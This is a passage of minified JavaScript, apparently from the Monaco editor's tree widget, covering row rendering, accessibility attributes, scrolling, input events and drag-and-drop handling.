r=l.safeBtoa(this.model.id);this.element.setAttribute(\"aria-selected\",\"true\"),this.element.setAttribute(\"id\",r)}else this.element.setAttribute(\"aria-selected\",\"false\"),this.element.removeAttribute(\"id\");this.model.hasChildren()?this.element.setAttribute(\"aria-expanded\",String(!!this.model.isExpanded())):this.element.removeAttribute(\"aria-expanded\"),this.element.setAttribute(\"aria-level\",String(this.model.getDepth())),this.context.options.paddingOnRow?this.element.style.paddingLeft=this.context.options.twistiePixels+(this.model.getDepth()-1)*this.context.options.indentPixels+\"px\":(this.element.style.paddingLeft=(this.model.getDepth()-1)*this.context.options.indentPixels+\"px\",this.row.element.firstElementChild.style.paddingLeft=this.context.options.twistiePixels+\"px\");var a=this.context.dnd.getDragURI(this.context.tree,this.model.getElement());a!==this.uri&&(this.unbindDragStart&&(this.unbindDragStart.dispose(),this.unbindDragStart=null),a?(this.uri=a,this.draggable=!0,this.unbindDragStart=s.addDisposableListener(this.element,\"dragstart\",function(e){t.onDragStart(e)})):this.uri=null),e||this.context.renderer.renderElement(this.context.tree,this.model.getElement(),this.templateId,this.row.templateData)}},e.prototype.insertInDOM=function(e,t){if(this.row||(this.row=this.context.cache.alloc(this.templateId),this.element[L.BINDING]=this),!this.element.parentElement){if(null===t)e.appendChild(this.element);else try{e.insertBefore(this.element,t)}catch(t){console.warn(\"Failed to locate previous tree element\"),e.appendChild(this.element)}this.render()}},e.prototype.removeFromDOM=function(){this.row&&(this.unbindDragStart&&(this.unbindDragStart.dispose(),this.unbindDragStart=null),this.uri=null,this.element[L.BINDING]=null,this.context.cache.release(this.templateId,this.row),this.row=null)},e.prototype.dispose=function(){this.row=null,this.model=null},e}();t.ViewItem=S;var E=function(e){function t(t,n,i){var o=e.call(this,t,n)||this;return o.row={element:i,templateData:null,templateId:null},o}return f(t,e),t.prototype.render=function(){if(this.model&&this.element){var e=[\"monaco-tree-wrapper\"];e.push.apply(e,Object.keys(this._styles)),this.model.hasChildren()&&e.push(\"has-children\"),this.element.className=e.join(\" \")}},t.prototype.insertInDOM=function(e,t){},t.prototype.removeFromDOM=function(){},t}(S),L=function(e){function t(n,o){var r=e.call(this)||this;r.lastClickTimeStamp=0,r.isRefreshing=!1,r.refreshingPreviousChildrenIds={},r._onDOMFocus=new y.Emitter,r._onDOMBlur=new y.Emitter,t.counter++,r.instance=t.counter,r.context={dataSource:n.dataSource,renderer:n.renderer,controller:n.controller,dnd:n.dnd,filter:n.filter,sorter:n.sorter,tree:n.tree,accessibilityProvider:n.accessibilityProvider,options:n.options,cache:new w(n)},r.modelListeners=[],r.viewListeners=[],r.dragAndDropListeners=[],r.model=null,r.items={},r.domNode=document.createElement(\"div\"),r.domNode.className=\"monaco-tree no-focused-item monaco-tree-instance-\"+r.instance,r.domNode.tabIndex=0,r.styleElement=s.createStyleSheet(r.domNode),r.domNode.setAttribute(\"role\",\"tree\"),r.context.options.ariaLabel&&r.domNode.setAttribute(\"aria-label\",r.context.options.ariaLabel),r.context.options.alwaysFocused&&s.addClass(r.domNode,\"focused\"),r.context.options.paddingOnRow||s.addClass(r.domNode,\"no-row-padding\"),r.wrapper=document.createElement(\"div\"),r.wrapper.className=\"monaco-tree-wrapper\",r.scrollableElement=new g.ScrollableElement(r.wrapper,{alwaysConsumeMouseWheel:!0,horizontal:m.ScrollbarVisibility.Hidden,vertical:void 0!==n.options.verticalScrollMode?n.options.verticalScrollMode:m.ScrollbarVisibility.Auto,useShadows:n.options.useShadows}),r.scrollableElement.onScroll(function(e){r.render(e.scrollTop,e.height),r.emit(\"scroll\",e)}),i.isIE?(r.wrapper.style.msTouchAction=\"none\",r.wrapper.style.msContentZooming=\"none\"):r.wrapperGesture=new u.Gesture(r.wrapper),r.rowsContainer=document.createElement(\"div\"),r.rowsContainer.className=\"monaco-tree-rows\",n.options.showTwistie&&(r.rowsContainer.className+=\" show-twisties\");var a=s.trackFocus(r.domNode);return a.addFocusListener(function(){return r.onFocus()}),a.addBlurListener(function(){return r.onBlur()}),r.viewListeners.push(a),r.viewListeners.push(s.addDisposableListener(r.domNode,\"keydown\",function(e){return r.onKeyDown(e)})),r.viewListeners.push(s.addDisposableListener(r.domNode,\"keyup\",function(e){return r.onKeyUp(e)})),r.viewListeners.push(s.addDisposableListener(r.domNode,\"mousedown\",function(e){return r.onMouseDown(e)})),r.viewListeners.push(s.addDisposableListener(r.domNode,\"mouseup\",function(e){return r.onMouseUp(e)})),r.viewListeners.push(s.addDisposableListener(r.wrapper,\"click\",function(e){return r.onClick(e)})),r.viewListeners.push(s.addDisposableListener(r.wrapper,\"auxclick\",function(e){return r.onClick(e)})),r.viewListeners.push(s.addDisposableListener(r.domNode,\"contextmenu\",function(e){return r.onContextMenu(e)})),r.viewListeners.push(s.addDisposableListener(r.wrapper,u.EventType.Tap,function(e){return r.onTap(e)})),r.viewListeners.push(s.addDisposableListener(r.wrapper,u.EventType.Change,function(e){return r.onTouchChange(e)})),i.isIE&&(r.viewListeners.push(s.addDisposableListener(r.wrapper,\"MSPointerDown\",function(e){return r.onMsPointerDown(e)})),r.viewListeners.push(s.addDisposableListener(r.wrapper,\"MSGestureTap\",function(e){return r.onMsGestureTap(e)})),r.viewListeners.push(s.addDisposableThrottledListener(r.wrapper,\"MSGestureChange\",function(e){return r.onThrottledMsGestureChange(e)},function(e,t){t.stopPropagation(),t.preventDefault();var n={translationY:t.translationY,translationX:t.translationX};return e&&(n.translationY+=e.translationY,n.translationX+=e.translationX),n}))),r.viewListeners.push(s.addDisposableListener(window,\"dragover\",function(e){return r.onDragOver(e)})),r.viewListeners.push(s.addDisposableListener(r.wrapper,\"drop\",function(e){return r.onDrop(e)})),r.viewListeners.push(s.addDisposableListener(window,\"dragend\",function(e){return r.onDragEnd(e)})),r.viewListeners.push(s.addDisposableListener(window,\"dragleave\",function(e){return r.onDragOver(e)})),r.wrapper.appendChild(r.rowsContainer),r.domNode.appendChild(r.scrollableElement.getDomNode()),o.appendChild(r.domNode),r.lastRenderTop=0,r.lastRenderHeight=0,r.didJustPressContextMenuKey=!1,r.currentDropTarget=null,r.currentDropTargets=[],r.shouldInvalidateDropReaction=!1,r.dragAndDropScrollInterval=null,r.dragAndDropScrollTimeout=null,r.onHiddenScrollTop=null,r.onRowsChanged(),r.layout(),r.setupMSGesture(),r.applyStyles(n.options),r}return f(t,e),Object.defineProperty(t.prototype,\"onDOMFocus\",{get:function(){return this._onDOMFocus.event},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"onDOMBlur\",{get:function(){return this._onDOMBlur.event},enumerable:!0,configurable:!0}),t.prototype.applyStyles=function(e){var t=[];e.listFocusBackground&&t.push(\".monaco-tree.monaco-tree-instance-\"+this.instance+\".focused .monaco-tree-rows > .monaco-tree-row.focused:not(.highlighted) { background-color: \"+e.listFocusBackground+\"; }\"),e.listFocusForeground&&t.push(\".monaco-tree.monaco-tree-instance-\"+this.instance+\".focused .monaco-tree-rows > .monaco-tree-row.focused:not(.highlighted) { color: \"+e.listFocusForeground+\"; }\"),e.listActiveSelectionBackground&&t.push(\".monaco-tree.monaco-tree-instance-\"+this.instance+\".focused .monaco-tree-rows > .monaco-tree-row.selected:not(.highlighted) { background-color: \"+e.listActiveSelectionBackground+\"; }\"),e.listActiveSelectionForeground&&t.push(\".monaco-tree.monaco-tree-instance-\"+this.instance+\".focused .monaco-tree-rows > .monaco-tree-row.selected:not(.highlighted) { color: \"+e.listActiveSelectionForeground+\"; }\"),e.listFocusAndSelectionBackground&&t.push(\"\\n\\t\\t\\t\\t.monaco-tree-drag-image,\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\".focused .monaco-tree-rows > .monaco-tree-row.focused.selected:not(.highlighted) { background-color: \"+e.listFocusAndSelectionBackground+\"; }\\n\\t\\t\\t\"),e.listFocusAndSelectionForeground&&t.push(\"\\n\\t\\t\\t\\t.monaco-tree-drag-image,\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\".focused .monaco-tree-rows > .monaco-tree-row.focused.selected:not(.highlighted) { color: \"+e.listFocusAndSelectionForeground+\"; }\\n\\t\\t\\t\"),e.listInactiveSelectionBackground&&t.push(\".monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row.selected:not(.highlighted) { background-color: \"+e.listInactiveSelectionBackground+\"; }\"),e.listInactiveSelectionForeground&&t.push(\".monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row.selected:not(.highlighted) { color: \"+e.listInactiveSelectionForeground+\"; }\"),e.listHoverBackground&&t.push(\".monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row:hover:not(.highlighted):not(.selected):not(.focused) { background-color: \"+e.listHoverBackground+\"; }\"),e.listHoverForeground&&t.push(\".monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row:hover:not(.highlighted):not(.selected):not(.focused) { color: \"+e.listHoverForeground+\"; }\"),e.listDropBackground&&t.push(\"\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-wrapper.drop-target,\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row.drop-target { background-color: \"+e.listDropBackground+\" !important; color: inherit !important; }\\n\\t\\t\\t\"),e.listFocusOutline&&t.push(\"\\n\\t\\t\\t\\t.monaco-tree-drag-image\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t{ border: 1px solid \"+e.listFocusOutline+\"; background: #000; }\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t{ border: 1px solid transparent; }\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\".focused .monaco-tree-rows > .monaco-tree-row.focused:not(.highlighted) \\t\\t\\t\\t\\t\\t{ border: 1px dotted \"+e.listFocusOutline+\"; }\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\".focused .monaco-tree-rows > .monaco-tree-row.selected:not(.highlighted) \\t\\t\\t\\t\\t\\t{ border: 1px solid \"+e.listFocusOutline+\"; }\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row.selected:not(.highlighted)  \\t\\t\\t\\t\\t\\t\\t{ border: 1px solid \"+e.listFocusOutline+\"; }\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row:hover:not(.highlighted):not(.selected):not(.focused)  \\t{ border: 1px dashed \"+e.listFocusOutline+\"; }\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-wrapper.drop-target,\\n\\t\\t\\t\\t.monaco-tree.monaco-tree-instance-\"+this.instance+\" .monaco-tree-rows > .monaco-tree-row.drop-target\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t{ border: 1px dashed \"+e.listFocusOutline+\"; }\\n\\t\\t\\t\"),this.styleElement.innerHTML=t.join(\"\\n\")},t.prototype.createViewItem=function(e){return new S(this.context,e)},t.prototype.getHTMLElement=function(){return this.domNode},t.prototype.focus=function(){this.domNode.focus()},t.prototype.isFocused=function(){return document.activeElement===this.domNode},t.prototype.blur=function(){this.domNode.blur()},t.prototype.onVisible=function(){this.scrollTop=this.onHiddenScrollTop,this.onHiddenScrollTop=null,this.setupMSGesture()},t.prototype.setupMSGesture=function(){var e=this;window.MSGesture&&(this.msGesture=new MSGesture,setTimeout(function(){return e.msGesture.target=e.wrapper},100))},t.prototype.onHidden=function(){this.onHiddenScrollTop=this.scrollTop},t.prototype.isTreeVisible=function(){return null===this.onHiddenScrollTop},t.prototype.layout=function(e){this.isTreeVisible()&&(this.viewHeight=e||s.getContentHeight(this.wrapper))},t.prototype.render=function(e,t){var n,i,o=e,r=e+t,s=this.lastRenderTop+this.lastRenderHeight;for(n=this.indexAfter(r)-1,i=this.indexAt(Math.max(s,o));n>=i;n--)this.insertItemInDOM(this.itemAtIndex(n));for(n=Math.min(this.indexAt(this.lastRenderTop),this.indexAfter(r))-1,i=this.indexAt(o);n>=i;n--)this.insertItemInDOM(this.itemAtIndex(n));for(n=this.indexAt(this.lastRenderTop),i=Math.min(this.indexAt(o),this.indexAfter(s));n<i;n++)this.removeItemFromDOM(this.itemAtIndex(n));for(n=Math.max(this.indexAfter(r),this.indexAt(this.lastRenderTop)),i=this.indexAfter(s);n<i;n++)this.removeItemFromDOM(this.itemAtIndex(n));var a=this.itemAtIndex(this.indexAt(o));a&&(this.rowsContainer.style.top=a.top-o+\"px\"),this.lastRenderTop=o,this.lastRenderHeight=r-o},t.prototype.setModel=function(e){var t=this;this.releaseModel(),this.model=e,this.modelListeners.push(this.model.addBulkListener(function(e){return t.onModelEvents(e)}))},t.prototype.onModelEvents=function(e){for(var t=[],n=0,i=e.length;n<i;n++){var o=e[n],r=o.data;switch(o.type){case\"refreshing\":this.onRefreshing();break;case\"refreshed\":this.onRefreshed();break;case\"clearingInput\":this.onClearingInput(r);break;case\"setInput\":this.onSetInput(r);break;case\"item:childrenRefreshing\":this.onItemChildrenRefreshing(r);break;case\"item:childrenRefreshed\":this.onItemChildrenRefreshed(r);break;case\"item:refresh\":t.push(r.item);break;case\"item:expanding\":this.onItemExpanding(r);break;case\"item:expanded\":this.onItemExpanded(r);break;case\"item:collapsing\":this.onItemCollapsing(r);break;case\"item:reveal\":this.onItemReveal(r);break;case\"item:addTrait\":this.onItemAddTrait(r);break;case\"item:removeTrait\":this.onItemRemoveTrait(r);break;case\"focus\":this.onModelFocusChange()}}t.length>0&&this.onItemsRefresh(t)},t.prototype.onRefreshing=function(){this.isRefreshing=!0},t.prototype.onRefreshed=function(){this.isRefreshing=!1,this.onRowsChanged()},t.prototype.onRowsChanged=function(e){void 0===e&&(e=this.scrollTop),this.isRefreshing||(this.scrollTop=e)},t.prototype.focusNextPage=function(e){var t=this,n=this.indexAt(this.scrollTop+this.viewHeight);n=0===n?0:n-1;var i=this.itemAtIndex(n).model.getElement();if(this.model.getFocus()!==i)this.model.setFocus(i,e);else{var o=this.scrollTop;this.scrollTop+=this.viewHeight,this.scrollTop!==o&&setTimeout(function(){t.focusNextPage(e)},0)}},t.prototype.focusPreviousPage=function(e){var t,n=this;t=0===this.scrollTop?this.indexAt(this.scrollTop):this.indexAfter(this.scrollTop-1);var i=this.itemAtIndex(t).model.getElement();if(this.model.getFocus()!==i)this.model.setFocus(i,e);else{var o=this.scrollTop;this.scrollTop-=this.viewHeight,this.scrollTop!==o&&setTimeout(function(){n.focusPreviousPage(e)},0)}},Object.defineProperty(t.prototype,\"viewHeight\",{get:function(){return this.scrollableElement.getScrollState().height},set:function(e){this.scrollableElement.updateState({height:e,scrollHeight:this.getTotalHeight()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"scrollTop\",{get:function(){return this.scrollableElement.getScrollState().scrollTop},set:function(e){this.scrollableElement.updateState({scrollTop:e,scrollHeight:this.getTotalHeight()})},enumerable:!0,configurable:!0}),t.prototype.getScrollPosition=function(){var e=this.getTotalHeight()-this.viewHeight;return e<=0?0:this.scrollTop/e},t.prototype.setScrollPosition=function(e){var t=this.getTotalHeight()-this.viewHeight;this.scrollTop=t*e},t.prototype.onClearingInput=function(e){var t=e.item;t&&(this.onRemoveItems(new p.MappedIterator(t.getNavigator(),function(e){return e&&e.id})),this.onRowsChanged())},t.prototype.onSetInput=function(e){this.context.cache.garbageCollect(),this.inputItem=new E(this.context,e.item,this.wrapper),this.emit(\"viewItem:create\",{item:this.inputItem.model})},t.prototype.onItemChildrenRefreshing=function(e){var n=e.item,i=this.items[n.id];if(i&&(i.loadingTimer=setTimeout(function(){i.loadingTimer=0,i.loading=!0},t.LOADING_DECORATION_DELAY)),!e.isNested){for(var o,r=[],s=n.getNavigator();o=s.next();)r.push(o.id);this.refreshingPreviousChildrenIds[n.id]=r}},t.prototype.onItemChildrenRefreshed=function(e){var t=this,n=e.item,i=this.items[n.id];if(i&&(i.loadingTimer&&(clearTimeout(i.loadingTimer),i.loadingTimer=0),i.loading=!1),!e.isNested){for(var o,r=this.refreshingPreviousChildrenIds[n.id],s=[],u=n.getNavigator();o=u.next();)s.push(o);var l=Math.abs(r.length-s.length)>1e3,c=void 0,d=void 0;if(l||(d=(c=new a.LcsDiff({getLength:function(){return r.length},getElementHash:function(e){return r[e]}},{getLength:function(){return s.length},getElementHash:function(e){return s[e].id}},null).ComputeDiff(!1)).some(function(e){if(e.modifiedLength>0)for(var n=e.modifiedStart,i=e.modifiedStart+e.modifiedLength;n<i;n++)if(t.items.hasOwnProperty(s[n].id))return!0;return!1})),!l&&!d&&c.length<50)for(var h=0,f=c.length;h<f;h++){var g=c[h];if(g.originalLength>0&&this.onRemoveItems(new p.ArrayIterator(r,g.originalStart,g.originalStart+g.originalLength)),g.modifiedLength>0){var m=s[g.modifiedStart-1]||n;m=m.getDepth()>0?m:null,this.onInsertItems(new p.ArrayIterator(s,g.modifiedStart,g.modifiedStart+g.modifiedLength),m?m.id:null)}}else(l||c.length)&&(this.onRemoveItems(new p.ArrayIterator(r)),this.onInsertItems(new p.ArrayIterator(s),n.getDepth()>0?n.id:null));(l||c.length)&&this.onRowsChanged()}},t.prototype.onItemsRefresh=function(e){var t=this;this.onRefreshItemSet(e.filter(function(e){return t.items.hasOwnProperty(e.id)})),this.onRowsChanged()},t.prototype.onItemExpanding=function(e){var t=this.items[e.item.id];t&&(t.expanded=!0)},t.prototype.onItemExpanded=function(e){var t=e.item,n=this.items[t.id];if(n){n.expanded=!0;var i=this.onInsertItems(t.getNavigator(),t.id),o=this.scrollTop;n.top+n.height<=this.scrollTop&&(o+=i),this.onRowsChanged(o)}},t.prototype.onItemCollapsing=function(e){var t=e.item,n=this.items[t.id];n&&(n.expanded=!1,this.onRemoveItems(new p.MappedIterator(t.getNavigator(),function(e){return e&&e.id})),this.onRowsChanged())},t.prototype.getRelativeTop=function(e){if(e&&e.isVisible()){var t=this.items[e.id];if(t)return(t.top-this.scrollTop)/(this.viewHeight-t.height)}return-1},t.prototype.onItemReveal=function(e){var t=e.item,n=e.relativeTop,i=this.items[t.id];if(i)if(null!==n){n=(n=n<0?0:n)>1?1:n;var o=i.height-this.viewHeight;this.scrollTop=o*n+i.top}else{var r=i.top+i.height,s=this.scrollTop+this.viewHeight;i.top<this.scrollTop?this.scrollTop=i.top:r>=s&&(this.scrollTop=r-this.viewHeight)}},t.prototype.onItemAddTrait=function(e){var t=e.item,n=e.trait,i=this.items[t.id];i&&i.addClass(n),\"highlighted\"===n&&(s.addClass(this.domNode,n),i&&(this.highlightedItemWasDraggable=!!i.draggable,i.draggable&&(i.draggable=!1)))},t.prototype.onItemRemoveTrait=function(e){var t=e.item,n=e.trait,i=this.items[t.id];i&&i.removeClass(n),\"highlighted\"===n&&(s.removeClass(this.domNode,n),this.highlightedItemWasDraggable&&(i.draggable=!0),this.highlightedItemWasDraggable=!1)},t.prototype.onModelFocusChange=function(){var e=this.model&&this.model.getFocus();s.toggleClass(this.domNode,\"no-focused-item\",!e),e?this.domNode.setAttribute(\"aria-activedescendant\",l.safeBtoa(this.context.dataSource.getId(this.context.tree,e))):this.domNode.removeAttribute(\"aria-activedescendant\")},t.prototype.onInsertItem=function(e){var t=this;e.onDragStart=function(n){t.onDragStart(e,n)},e.needsRender=!0,this.refreshViewItem(e),this.items[e.id]=e},t.prototype.onRefreshItem=function(e,t){void 0===t&&(t=!1),e.needsRender=e.needsRender||t,this.refreshViewItem(e)},t.prototype.onRemoveItem=function(e){this.removeItemFromDOM(e),e.dispose(),this.emit(\"viewItem:dispose\",{item:this.inputItem.model}),delete this.items[e.id]},t.prototype.refreshViewItem=function(e){e.render(),this.shouldBeRendered(e)?this.insertItemInDOM(e):this.removeItemFromDOM(e)},t.prototype.onClick=function(e){if(!this.lastPointerType||\"mouse\"===this.lastPointerType){var t=new c.StandardMouseEvent(e),n=this.getItemAround(t.target);n&&(i.isIE&&Date.now()-this.lastClickTimeStamp<300&&(t.detail=2),this.lastClickTimeStamp=Date.now(),this.context.controller.onClick(this.context.tree,n.model.getElement(),t))}},t.prototype.onMouseDown=function(e){if(this.didJustPressContextMenuKey=!1,this.context.controller.onMouseDown&&(!this.lastPointerType||\"mouse\"===this.lastPointerType)){var t=new c.StandardMouseEvent(e);if(!(t.ctrlKey&&n.isNative&&n.isMacintosh)){var i=this.getItemAround(t.target);i&&this.context.controller.onMouseDown(this.context.tree,i.model.getElement(),t)}}},t.prototype.onMouseUp=function(e){if(this.context.controller.onMouseUp&&(!this.lastPointerType||\"mouse\"===this.lastPointerType)){var t=new c.StandardMouseEvent(e);if(!(t.ctrlKey&&n.isNative&&n.isMacintosh)){var i=this.getItemAround(t.target);i&&this.context.controller.onMouseUp(this.context.tree,i.model.getElement(),t)}}},t.prototype.onTap=function(e){var t=this.getItemAround(e.initialTarget);t&&this.context.controller.onTap(this.context.tree,t.model.getElement(),e)},t.prototype.onTouchChange=function(e){e.preventDefault(),e.stopPropagation(),this.scrollTop-=e.translationY},t.prototype.onContextMenu=function(e){var t,n;if(e instanceof KeyboardEvent||this.didJustPressContextMenuKey){this.didJustPressContextMenuKey=!1;var i=new d.StandardKeyboardEvent(e);if(!(n=this.model.getFocus()))return;var o=this.context.dataSource.getId(this.context.tree,n),r=this.items[o],a=s.getDomNodePagePosition(r.element);t=new _.KeyboardContextMenuEvent(a.left+a.width,a.top,i)}else{var u=new c.StandardMouseEvent(e),l=this.getItemAround(u.target);if(!l)return;n=l.model.getElement(),t=new _.MouseContextMenuEvent(u)}this.context.controller.onContextMenu(this.context.tree,n,t)},t.prototype.onKeyDown=function(e){var t=new d.StandardKeyboardEvent(e);this.didJustPressContextMenuKey=58===t.keyCode||t.shiftKey&&68===t.keyCode,this.didJustPressContextMenuKey&&(t.preventDefault(),t.stopPropagation()),t.target&&t.target.tagName&&\"input\"===t.target.tagName.toLowerCase()||this.context.controller.onKeyDown(this.context.tree,t)},t.prototype.onKeyUp=function(e){this.didJustPressContextMenuKey&&this.onContextMenu(e),this.didJustPressContextMenuKey=!1,this.context.controller.onKeyUp(this.context.tree,new d.StandardKeyboardEvent(e))},t.prototype.onDragStart=function(e,n){if(!this.model.getHighlight()){var i,o=e.model.getElement(),r=this.model.getSelection();if(i=r.indexOf(o)>-1?r:[o],n.dataTransfer.effectAllowed=\"copyMove\",n.dataTransfer.setData(\"URL\",e.uri),n.dataTransfer.setDragImage){var s=void 0;s=this.context.dnd.getDragLabel?this.context.dnd.getDragLabel(this.context.tree,i):String(i.length);var a=document.createElement(\"div\");a.className=\"monaco-tree-drag-image\",a.textContent=s,document.body.appendChild(a),n.dataTransfer.setDragImage(a,-10,-10),setTimeout(function(){return document.body.removeChild(a)},0)}this.currentDragAndDropData=new h.ElementsDragAndDropData(i),t.currentExternalDragAndDropData=new h.ExternalElementsDragAndDropData(i),this.context.dnd.onDragStart(this.context.tree,this.currentDragAndDropData,new c.DragMouseEvent(n))}},t.prototype.setupDragAndDropScrollInterval=function(){var e=this,t=s.getTopLeftOffset(this.wrapper).top;this.dragAndDropScrollInterval||(this.dragAndDropScrollInterval=window.setInterval(function(){if(void 0!==e.dragAndDropMouseY){var n=e.dragAndDropMouseY-t,i=0,o=e.viewHeight-35;n<35?i=Math.max(-14,.2*(n-35)):n>o&&(i=Math.min(14,.2*(n-o))),e.scrollTop+=i}},10),this.cancelDragAndDropScrollTimeout(),this.dragAndDropScrollTimeout=window.setTimeout(function(){e.cancelDragAndDropScrollInterval(),e.dragAndDropScrollTimeout=null},1e3))},t.prototype.cancelDragAndDropScrollInterval=function(){this.dragAndDropScrollInterval&&(window.clearInterval(this.dragAndDropScrollInterval),this.dragAndDropScrollInterval=null),this.cancelDragAndDropScrollTimeout()},t.prototype.cancelDragAndDropScrollTimeout=function(){this.dragAndDropScrollTimeout&&(window.clearTimeout(this.dragAndDropScrollTimeout),this.dragAndDropScrollTimeout=null)},t.prototype.onDragOver=function(e){var n=this,i=new c.DragMouseEvent(e),r=this.getItemAround(i.target);if(!r||0===i.posx&&0===i.posy&&i.browserEvent.type===s.EventType.DRAG_LEAVE)return this.currentDropTarget&&(this.currentDropTargets.forEach(function(e){return e.dropTarget=!1}),this.currentDropTargets=[],this.currentDropPromise&&(this.currentDropPromise.cancel(),this.currentDropPromise=null)),this.cancelDragAndDropScrollInterval(),this.currentDropTarget=null,this.currentDropElement=null,this.dragAndDropMouseY=null,!1;if(this.setupDragAndDropScrollInterval(),this.dragAndDropMouseY=i.posy,!this.currentDragAndDropData)if(t.currentExternalDragAndDropData)this.currentDragAndDropData=t.currentExternalDragAndDropData;else{if(!i.dataTransfer.types)return!1;this.currentDragAndDropData=new h.DesktopDragAndDropData}this.currentDragAndDropData.update(i);var a,u,l=r.model;do{if(a=l?l.getElement():this.model.getInput(),!(u=this.context.dnd.onDragOver(this.context.tree,this.currentDragAndDropData,a,i))||u.bubble!==_.DragOverBubble.BUBBLE_UP)break;l=l&&l.parent}while(l);if(!l)return this.currentDropElement=null,!1;var d=u&&u.accept;d?(this.currentDropElement=l.getElement(),i.preventDefault(),i.dataTransfer.dropEffect=u.effect===_.DragOverEffect.COPY?\"copy\":\"move\"):this.currentDropElement=null;var p=l.id===this.inputItem.id?this.inputItem:this.items[l.id];if((this.shouldInvalidateDropReaction||this.currentDropTarget!==p||!b(this.currentDropElementReaction,u))&&(this.shouldInvalidateDropReaction=!1,this.currentDropTarget&&(this.currentDropTargets.forEach(function(e){return e.dropTarget=!1}),this.currentDropTargets=[],this.currentDropPromise&&(this.currentDropPromise.cancel(),this.currentDropPromise=null)),this.currentDropTarget=p,this.currentDropElementReaction=u,d)){if(this.currentDropTarget&&(this.currentDropTarget.dropTarget=!0,this.currentDropTargets.push(this.currentDropTarget)),u.bubble===_.DragOverBubble.BUBBLE_DOWN)for(var f,g=l.getNavigator();f=g.next();)(r=this.items[f.id])&&(r.dropTarget=!0,this.currentDropTargets.push(r));u.autoExpand&&(this.currentDropPromise=o.TPromise.timeout(500).then(function(){return n.context.tree.expand(n.currentDropElement)}).then(function(){return n.shouldInvalidateDropReaction=!0}))}return!0},t.prototype.onDrop=function(e){if(this.currentDropElement){var t=new c.DragMouseEvent(e);t.preventDefault(),this.currentDragAndDropData.update(t),this.context.dnd.drop(this.context.tree,this.currentDragAndDropData,this.currentDropElement,t),this.onDragEnd(e)}this.cancelDragAndDropScrollInterval()},t.prototype.onDragEnd=function(e){this.currentDropTarget&&(this.currentDropTargets.forEach(function(e){return e.dropTarget=!1}),this.currentDropTargets=[]),this.currentDropPromise&&(this.currentDropPromise.cancel(),this.currentDropPromise=null),this.cancelDragAndDropScrollInterval(),this.currentDragAndDropData=null,t.currentExternalDragAndDropData=null,this.currentDropElement=null,this.currentDropTarget=null,this.dragAndDropMouseY=null},t.prototype.onFocus=function(){this.context.options.alwaysFocused||s.addClass(this.domNode,\"focused\"),this._onDOMFocus.fire()},t.prototype.onBlur=function(){this.context.options.alwaysFocused||s.removeClass(this.domNode,\"focused\"),this.domNode.removeAttribute(\"aria-activedescendant\"),this._onDOMBlur.fire()},t.prototype.onMsPointerDown=function(e){if(this.msGesture){var t=e.pointerType;t!==(e.MSPOINTER_TYPE_MOUSE||\"mouse\")?t===(e.MSPOINTER_TYPE_TOUCH||\"touch\")&&(this.lastPointerType=\"touch\",e.stopPropagation(),e.preventDefault(),this.msGesture.addPointer(e.pointerId)):this.lastPointerType=\"mouse\"}},t.prototype.onThrottledMsGestureChange=function(e){this.scrollTop-=e.translationY},t.prototype.onMsGestureTap=function(e){e.initialTarget=document.elementFromPoint(e.clientX,e.clientY),this.onTap(e)},t.prototype.insertItemInDOM=function(e){var t=null,n=this.itemAfter(e);n&&n.element&&(t=n.element),e.insertInDOM(this.rowsContainer,t)},t.prototype.removeItemFromDOM=function(e){e&&e.removeFromDOM()},t.prototype.shouldBeRendered=function(e){return e.top<this.lastRenderTop+this.lastRenderHeight&&e.top+e.height>this.lastRenderTop},t.prototype.getItemAround=function(e){var n=this.inputItem;do{if(e[t.BINDING]&&(n=e[t.BINDING]),e===this.wrapper||e===this.domNode)return n;if(e===document.body)return null}while(e=e.parentElement)},t.prototype.releaseModel=function(){this.model&&(this.modelListeners=r.dispose(this.modelListeners),this.model=null)},t.prototype.dispose=function(){this.scrollableElement.dispose(),this.releaseModel(),this.modelListeners=null,this.viewListeners=r.dispose(this.viewListeners),this._onDOMFocus.dispose(),this._onDOMBlur.dispose(),this.domNode.parentNode&&this.domNode.parentNode.removeChild(this.domNode),this.domNode=null,this.wrapperGesture&&(this.wrapperGesture.dispose(),this.wrapperGesture=null),this.context.cache&&(this.context.cache.dispose(),this.context.cache=null),e.prototype.dispose.call(this)},t.BINDING=\"monaco-tree-row\",t.LOADING_DECORATION_DELAY=800,t.counter=0,t.currentExternalDragAndDropData=null,t}(v.HeightMap);t.TreeView=L}),define(d[249],h([5]),{}),define(d[259],h([1,0,3,11,41,4,33,32,26,249]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.defaultStyles={selectBackground:a.Color.fromHex(\"#3C3C3C\"),selectForeground:a.Color.fromHex(\"#F0F0F0\"),selectBorder:a.Color.fromHex(\"#3C3C3C\")};var l=function(e){function o(n,o,s){void 